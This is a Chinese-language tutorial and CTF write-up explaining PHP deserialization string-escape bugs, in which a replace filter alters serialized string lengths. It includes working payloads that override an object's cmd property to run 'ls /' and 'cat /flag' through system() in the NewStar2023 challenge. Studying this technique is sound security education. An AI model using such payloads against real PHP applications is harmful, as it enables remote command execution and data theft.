反序列化字符逃逸
此类题目的本质就是改变序列化字符串的长度,导致反序列化漏洞
这种题目有个共同点:
- php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化。
- 总是先进行序列化,再进行替换修改操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php function filter($str){ return str_replace('bb', 'ccc', $str); } class A{ public $name='aaaa'; public $pass='123456'; } $AA=new A();
$c=unserialize($res); echo $c->pass; ?>
|
以上面代码为例,如何在不直接修改$pass
值的情况下间接修改$pass
的值。
这段代码的流程是,先序列化代码,然后将里面不希望出现的字符bb替换成自定义的字符串ccc。然后进行反序列化,最后输出pass变量。
要解决上面这个问题,先来看一下php序列化代码的特征。
O:1:”A”:2:{s:4:”name”;s:4:”aaaa”;s:4:”pass”;s:6:”123456”;}
我们可以看到,反序列化字符串都是以";}
结束的,所以如果我们把";}
带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就丢弃了。
在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度s错误则反序列化就会失败。
根据刚才讲的,如果我们将name变量中添加bb则程序就会报错,因为bb将被filter函数替换成ccc,ccc的长度比bb多1,这样前面的s所代表的长度为2但是内容却变长了,成了ccc。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php function filter($str){ return str_replace('bb', 'ccc', $str); } class A{ public $name='aaaabb'; public $pass='123456'; } $AA=new A();
echo serialize($AA)."\n"; $res = filter(serialize($AA)); echo $res; $c=unserialize($res); echo $c->pass; ?>
|
O:1:”A”:2:{s:4:”name”;s:6:”aaaabb”;s:4:”pass”;s:6:”123456”;}
O:1:”A”:2:{s:4:”name”;s:6:”aaaaccc”;s:4:”pass”;s:6:”123456”;}
可见在序列化后的字符串在经过filter函数过滤前,s为6,内容为aaaabb;经过filter过滤后,s仍然为6,但内容变为了aaaaccc,长度变成了7,根据反序列化读取变量的原则来讲,此时的name能读取到的只是aaaacc,末尾处的那个c是读取不到的,这就形成了一个字符串的逃逸。当我们添加多个bb,每添加一个bb我们就能逃逸一个字符,那我们将逃逸的字符串的长度填充成我们要反序列化的代码长度的话那就可以控制反序列化的结果以及类里面的变量值了。
假如在name处改为:";s:4:"pass";s:6:"hacker";}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php function filter($str){ return str_replace('bb', 'ccc', $str); } class A{ public $name='";s:4:"pass";s:6:"hacker";}'; public $pass='123456'; } $AA=new A(); echo serialize($AA)."\n"; $res = filter(serialize($AA)); echo $res; $c=unserialize($res); echo $c->pass; ?>
|
由于$name
被序列化后的长度是固定的,在反序列化后$name
仍然为";s:4:"pass";s:6:"hacker";}
,$pass
仍然为123456
:
O:1:”A”:2:{s:4:”name”;s:27:"";s:4:"pass";s:6:"hacker";}"
;s:4:”pass”;s:6:”123456”;}
关键点在于filter函数,这个函数检测并替换了非法字符串,看似增加了代码的安全系数,实则让整段代码更加危险。filter函数中检测序列化后的字符串,如果检测到了非法字符’bb’,就把它替换为’ccc’。
此时我们发现”;s:4:”pass”;s:6:”hacker”;}的长度为27,如果我们再加上27个bb,那最终的长度将增加27,不就能逃逸后面的”;s:4:”pass”;s:6:”hacker”;}了吗?如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php function filter($str){ return str_replace('bb', 'ccc', $str); } class A{ public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}'; public $pass='123456'; } $AA=new A(); echo serialize($AA)."\n"; $res = filter(serialize($AA)); echo $res."\n"; $c=unserialize($res); print_r($c)."\n"; echo $c->pass; ?>
|
运行结果:
1 2 3 4 5 6 7 8
| O:1:"A":2:{s:4:"name";s:81:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";} O:1:"A":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";} A Object ( [name] => ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc [pass] => hacker ) hacker
|
此时,成功逃逸,修改了pass的值
填充的27个bb,在经过filter函数过滤后会增加27个字符的长度,这27个字符会填充当前payload字符串的长度,而payload则顺利的逃逸处了php反序列化中s的检查
被逃逸出的payload会被当成当前类的属性继续执行";s:4:"pass";s:6:"hacker";}
,而后一部分由于前面的payload已经构成了闭合,所以不在执行
[NewStar2023 week4]逃
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php highlight_file(__FILE__); function waf($str){ return str_replace("bad","good",$str); }
class GetFlag { public $key; public $cmd = "whoami"; public function __construct($key) { $this->key = $key; } public function __destruct() { system($this->cmd); } }
unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data www-data
|
经典的php反序列化字符逃逸
首先构造序列化代码:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php function waf($str){ return str_replace("bad","good",$str); }
class GetFlag { public $key='bad'; public $cmd = "ls /"; }
$a = new GetFlag(); echo serialize($a)."\n";
|
O:7:"GetFlag":2:{s:3:"key";s:3:"bad";s:3:"cmd";s:4:"ls /";}
我们需要逃逸的是";s:3:"cmd";s:4:"ls /";}
1 2 3 4 5 6 7 8 9 10 11 12
| <?php function waf($str){ return str_replace("bad","good",$str); }
class GetFlag { public $key='";s:3:"cmd";s:4:"ls /";}'; public $cmd = "ls /"; }
$a = new GetFlag(); echo serialize($a)."\n";
|
O:7:"GetFlag":2:{s:3:"key";s:24:"";s:3:"cmd";s:4:"ls /";}";s:3:"cmd";s:4:"ls /";}
总共24个字符,于是我们写24个bad就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php function waf($str){ return str_replace("bad","good",$str); }
class GetFlag { public $key='badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}'; public $cmd = "ls /"; }
$a = new GetFlag(); echo serialize($a)."\n";
$res = waf(serialize($a)); echo $res."\n";
$c = unserialize($res); print_r($c)."\n"; echo $c->cmd;
|
运行结果:
1 2 3 4 5 6 7 8
| O:7:"GetFlag":2:{s:3:"key";s:96:"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}";s:3:"cmd";s:4:"ls /";} O:7:"GetFlag":2:{s:3:"key";s:96:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:4:"ls /";}";s:3:"cmd";s:4:"ls /";} GetFlag Object ( [key] => goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood [cmd] => ls / ) ls /
|
payload:
key = badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}"
接着构造payload查看flag
/?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}